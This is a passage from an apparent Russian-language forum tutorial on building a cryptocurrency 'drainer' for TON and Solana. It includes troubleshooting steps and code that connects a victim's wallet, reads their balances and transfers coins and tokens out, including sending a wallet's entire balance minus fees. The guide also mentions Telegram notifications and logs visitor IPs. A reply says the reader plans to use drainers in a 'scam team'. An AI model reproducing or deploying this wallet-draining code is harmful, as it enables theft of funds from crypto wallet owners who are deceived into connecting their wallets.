- Проверьте папку public/
- Файл должен быть на месте

3. Проверьте tonconnect-manifest.json:

JSON:
{
  "url": "https://ваш-домен.com",
  "name": "Название",
  "iconUrl": "https://ваш-домен.com/icon.png"
}

URL должен совпадать с доменом сайта!

4. Проверьте что manifest доступен:
Откройте: http://localhost:3000/tonconnect-manifest.json
Должен вернуть JSON!

5. Очистите кэш браузера:
- Chrome: Ctrl+Shift+Delete
- Выберите "Изображения и файлы в кэше"
- Нажмите "Удалить данные"


⚠️ ПРОБЛЕМА 3: Адрес кошелька не конвертируется

❌ Симптомы:
  • Ошибка "Failed to convert address"
  • Адрес остается в формате "0:abc123..."
  • TonAPI возвращает 404

✅ Решения:

1. Проверьте установлены ли зависимости:

Bash:
npm list @ton/core @ton/ton

Если их нет:

Bash:
npm install @ton/core @ton/ton

2. Проверьте импорт в lib/ton-address.ts:

Код:
import { Address } from '@ton/core';

НЕ ton/ton! Используем ton/core для работы с адресами.

3. Добавьте логирование для отладки:

Код:
console.log('[v0] Raw address:', rawAddress);
console.log('[v0] Converted:', friendlyAddress);


⚠️ ПРОБЛЕМА 4: TonAPI возвращает пустой баланс

❌ Симптомы:
  • Balance всегда 0
  • Список токенов пустой
  • Ошибка 404 "Account not found"

✅ Решения:

1. Проверьте формат адреса:

TonAPI принимает ТОЛЬКО user-friendly адреса (UQ... или EQ...)!

Код:
// ✅ Правильно
const url = `https://tonapi.io/v2/accounts/UQBvW8aAcd6lhL...`;

// ❌ Неправильно
const url = `https://tonapi.io/v2/accounts/0:b996c68071dea584...`;

2. Проверьте что адрес активирован:

Новые кошельки могут быть не активированы в блокчейне!
Для активации нужно получить хотя бы 0.01 TON.

3. Тест через браузер:

Откройте:

Должен вернуть JSON с информацией об аккаунте!


⚠️ ПРОБЛЕМА 5: Транзакция не проходит (недостаточно газа)

❌ Симптомы:
  • "Insufficient balance"
  • "Not enough coins to transfer"
  • Транзакция отклонена кошельком

✅ Решения:

1. Проверьте расчет комиссии:

Код:
// ❌ Неправильно - отправляем ВСЁ
amount: totalBalance

// ✅ Правильно - вычитаем комиссию + запас
amount: totalBalance - estimatedFee - (estimatedFee * 0.1)

2. Увеличьте резерв:

Вместо 10% сделайте 20% запас для безопасности:

Код:
const feeWithBuffer = BigInt(Math.floor(Number(estimatedFee) * 1.2));

3. Проверьте симуляцию:

Перед реальной отправкой всегда симулируйте транзакцию!

Код:
const simulation = await fetch('https://tonapi.io/v2/wallet/emulate', {
  method: 'POST',
  body: JSON.stringify({ boc: encodedBoc })
});


⚠️ ПРОБЛЕМА 6: Vercel deployment failed

❌ Симптомы:
  • Деплой на Vercel завершается с ошибкой
  • "Module not found"
  • "Build failed"

✅ Решения:

1. Проверьте переменные окружения в Vercel:

Settings → Environment Variables

Добавьте ВСЕ переменные из .env.local!

2. Проверьте версию Node.js:

В package.json добавьте:

JSON:
{
  "engines": {
    "node": ">=18.0.0"
  }
}

3. Очистите кэш Vercel:

Settings → General → "Clear Cache and Redeploy"

4. Проверьте логи деплоя:

Deployments → кликните на упавший деплой → View Build Logs

Читайте ошибки снизу вверх!


⚠️ ПРОБЛЕМА 7: IP адрес всегда "unknown"

❌ Симптомы:
  • API возвращает { "ip": "unknown" }
  • Все заголовки null

✅ Решения:

1. В локальной разработке это нормально!

localhost не имеет реального внешнего IP.

2. Проверьте на Vercel:

После деплоя IP должен определяться корректно.

3. Если используете Cloudflare:

Проверьте заголовок cf-connecting-ip в коде:

Код:
const cfConnectingIp = request.headers.get('cf-connecting-ip');


⚠️ ПРОБЛЕМА 8: "Cannot read property 'TON_CONNECT_UI' of undefined"

❌ Симптомы:
  • Ошибка при инициализации TON Connect
  • window.TON_CONNECT_UI is undefined

✅ Решения:

1. Убедитесь что скрипт загружается перед использованием:

Код:
useEffect(() => {
  const checkSDK = () => {
    if (window.TON_CONNECT_UI) {
      initTonConnect();
    } else {
      // Повторяем проверку через 100мс
      setTimeout(checkSDK, 100);
    }
  };
 
  checkSDK();
}, []);

2. Проверьте strategy в компоненте Script:

Код:
<Script
  src="/tonconnect-sdk.min.js"
  strategy="afterInteractive"  // Важно!
  onLoad={() => console.log('SDK loaded')}
/>


📋 ЧЕКЛИСТ ПОЛНОЙ ДИАГНОСТИКИ

Если ничего не работает, выполните по порядку:

1. npm install - переустановите зависимости
2. Удалите папки .next и node_modules
3. npm install - установите заново
4. Проверьте .env.local - все ли переменные на месте?
5. Нет лишних пробелов в .env.local?
6. npm run dev - перезапустите сервер разработки
7. Откройте в режиме инкогнито - очистит кэш
8. F12 → Console - есть ли ошибки JavaScript?
9. F12 → Network - загружаются ли все файлы (200 OK)?
10. Проверьте версию Node.js: node --version (должна быть 18+)
11. Проверьте версию npm: npm --version
12. Попробуйте другой браузер (Chrome, Firefox, Safari)
13. Проверьте нет ли блокировки от антивируса/файрвола
14. Проверьте логи в терминале где запущен npm run dev

==============================================

ГЛАВА 16: СРАВНЕНИЕ TON И SOLANA ДРЕЙНЕРОВ

Основные различия в архитектуре

TON дрейнер:

Использует TON Connect протокол
Адреса в двух форматах: Raw и User-Friendly
Jetton токены требуют отдельных Jetton wallet адресов
Комиссии в nanotokens (1 TON = 1,000,000,000 nano)
TonAPI для получения балансов
Транзакции формируются через beginCell()
Каждый Jetton токен - отдельный смарт-контракт

Solana дрейнер:

Использует Wallet Adapter или window.solana
Адреса в формате Base58 (всегда один формат)
SPL токены используют Token Program
Комиссии в lamports (1 SOL = 1,000,000,000 lamports)
RPC endpoint для получения балансов
Транзакции создаются через Transaction class
SPL токены - это token accounts

Код сравнения - Подключение кошелька

TON:

Код:
const connectWallet = async () => {
  const connectedWallet = await tonConnectUI.connectWallet();
  const addressRaw = connectedWallet.account.address;  // 0:abc123...
  const addressFriendly = convertRawToFriendlyAddress(addressRaw);  // UQabc...
 
  setWalletAddress(addressFriendly);
};

Solana:

Код:
const connectWallet = async () => {
  const { solana } = window;
  const response = await solana.connect();
  const address = response.publicKey.toString();  // 7xKXtg2CW87d...
 
  setWalletAddress(address);
};

Код сравнения - Получение балансов

TON:

Код:
const getBalance = async (address: string) => {
  // Получаем TON
  const response = await fetch(`https://tonapi.io/v2/accounts/${address}`);
  const data = await response.json();
  const tonBalance = Number(data.balance) / 1e9;
 
  // Получаем Jettons
  const jettonsResponse = await fetch(`https://tonapi.io/v2/accounts/${address}/jettons`);
  const jettonsData = await jettonsResponse.json();
  const jettons = jettonsData.balances;
 
  return { tonBalance, jettons };
};

Solana:

Код:
const getBalance = async (address: string) => {
  // Получаем SOL
  const connection = new Connection('https://api.mainnet-beta.solana.com');
  const publicKey = new PublicKey(address);
  const lamports = await connection.getBalance(publicKey);
  const solBalance = lamports / 1e9;
 
  // Получаем SPL токены
  const tokenAccounts = await connection.getParsedTokenAccountsByOwner(publicKey, {
    programId: TOKEN_PROGRAM_ID
  });
  const tokens = tokenAccounts.value.map(t => t.account.data.parsed.info);
 
  return { solBalance, tokens };
};

Код сравнения - Отправка нативной валюты

TON:

Код:
const sendTON = async (recipient: string, amount: string) => {
  const { beginCell, toNano } = await import('@ton/ton');
 
  const commentPayload = beginCell()
    .storeUint(0, 32)
    .storeStringTail('Transfer')
    .endCell()
    .toBoc()
    .toString('base64');
 
  const tx = {
    validUntil: Date.now() + 5 * 60 * 1000,
    messages: [{
      address: recipient,
      amount: toNano(amount).toString(),
      payload: commentPayload
    }]
  };
 
  await tonConnectUI.sendTransaction(tx);
};

Solana:

Код:
const sendSOL = async (recipient: string, amount: number) => {
  const connection = new Connection('https://api.mainnet-beta.solana.com');
  const { solana } = window;
 
  const transaction = new Transaction().add(
    SystemProgram.transfer({
      fromPubkey: solana.publicKey,
      toPubkey: new PublicKey(recipient),
      lamports: amount * 1e9
    })
  );
 
  const signature = await solana.signAndSendTransaction(transaction);
  await connection.confirmTransaction(signature);
};

Код сравнения - Отправка токенов

TON (Jetton):

Код:
const sendJetton = async (jettonWalletAddress: string, recipient: string, amount: string) => {
  const { beginCell, Address, toNano } = await import('@ton/ton');
 
  const jettonTransferBody = beginCell()
    .storeUint(0x0f8a7ea5, 32)  // op code
    .storeUint(0, 64)  // query_id
    .storeCoins(BigInt(amount))
    .storeAddress(Address.parse(recipient))
    .storeAddress(Address.parse(myAddress))
    .storeBit(0)
    .storeCoins(toNano('0.05'))
    .storeBit(0)
    .endCell();
 
  const tx = {
    validUntil: Date.now() + 5 * 60 * 1000,
    messages: [{
      address: jettonWalletAddress,  // НАИН Jetton wallet!
      amount: toNano('0.1').toString(),
      payload: jettonTransferBody.toBoc().toString('base64')
    }]
  };
 
  await tonConnectUI.sendTransaction(tx);
};

Solana (SPL):

Код:
const sendSPL = async (tokenMint: string, recipient: string, amount: number) => {
  const connection = new Connection('https://api.mainnet-beta.solana.com');
  const { solana } = window;
 
  // Находим token account отправителя
  const senderTokenAccount = await getAssociatedTokenAddress(
    new PublicKey(tokenMint),
    solana.publicKey
  );
 
  // Находим token account получателя
  const recipientTokenAccount = await getAssociatedTokenAddress(
    new PublicKey(tokenMint),
    new PublicKey(recipient)
  );
 
  const transaction = new Transaction().add(
    createTransferInstruction(
      senderTokenAccount,
      recipientTokenAccount,
      solana.publicKey,
      amount
    )
  );
 
  const signature = await solana.signAndSendTransaction(transaction);
};

Ключевые различия в логике

TON:

Jetton transfer отправляется на СВОЙ Jetton wallet
Jetton wallet отправляет internal message на Jetton wallet получателя
Требуется знать адрес своего Jetton wallet (получаем из TonAPI)
Комиссия оплачивается в TON, а не в самом токене

Solana:

SPL transfer отправляется напрямую между token accounts
Нужно знать token mint address
Если у получателя нет token account - нужно его создать
Комиссия всегда в SOL, никогда в самом токене

Сложность разработки

TON:

Сложнее: нужно понимать архитектуру Jetton
Больше кода для формирования payload
Требуется конвертация адресов
Симуляция транзакций для расчета комиссий

Solana:

Проще: стандартные инструкции
Меньше кода благодаря web3.js
Один формат адресов
Комиссии предсказуемы

Комиссии сравнение

TON:

Простая транзакция: 0.005-0.01 TON (~$0.01-0.03)
Jetton transfer: 0.05-0.1 TON (~$0.15-0.30)
Зависит от размера данных и сложности
Более дорогие комиссии за сложные операции

Solana:

Любая транзакция: 0.000005 SOL (~$0.0005)
Фиксированная цена за подпись
Не зависит от сложности операции
Самые дешевые комиссии среди всех блокчейнов

Скорость транзакций

TON:

Финализация: 5-6 секунд
Может быть быстрее при низкой нагрузке
Зависит от sharding

Solana:

Финализация: 400-500 миллисекунд
Одна из самых быстрых сетей
Постоянная скорость

Интеграция с кошельками

TON:

TON Connect - универсальный протокол
Поддерживается: Tonkeeper, MyTonWallet, OpenMask, TON Wallet
Deep links для мобильных кошельков
QR коды для десктопных

Solana:

Wallet Adapter - стандарт для Solana
Поддерживается: Phantom, Solflare, Backpack, Glow
window.solana для прямого доступа
Более зрелая экосистема


==============================================

ЗАКЛЮЧЕНИЕ


Вы получили полное руководство по созданию TON дрейнера. Мы прошли путь от базовых концепций блокчейна TON до реализации полнофункционального приложения.

Ключевые моменты:

1. TON использует уникальную архитектуру с sharding и множественными форматами адресов
2. Nanotokens и правильная работа с целыми числами критически важны
3. Jetton токены требуют понимания архитектуры индивидуальных кошельков
4. Симуляция транзакций позволяет рассчитать точные комиссии
5. TON Connect обеспечивает безопасное подключение кошельков
6. Интеграция с Telegram Bot даёт мгновенные уведомления
7. Vercel позволяет задеплоить приложение за несколько минут
 

Вложения

  • smdclksmclds.jpg
    smdclksmclds.jpg
    60.3 КБ · Просмотры: 27
  • nsjcnskncksndk.jpg
    nsjcnskncksndk.jpg
    27.4 КБ · Просмотры: 25
  • sdncnskcnskcndsk.jpg
    sdncnskcnskcndsk.jpg
    20 КБ · Просмотры: 25
  • nckjsdnckjsnk.jpg
    nckjsdnckjsnk.jpg
    17.8 КБ · Просмотры: 28
Последнее редактирование:
спасибо за подробную статью) как раз хотел собрать себе много дрейнеров и реализовать в виде "скам Тимы"
делай брадок, если че мне пиши помогу чем смогу
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх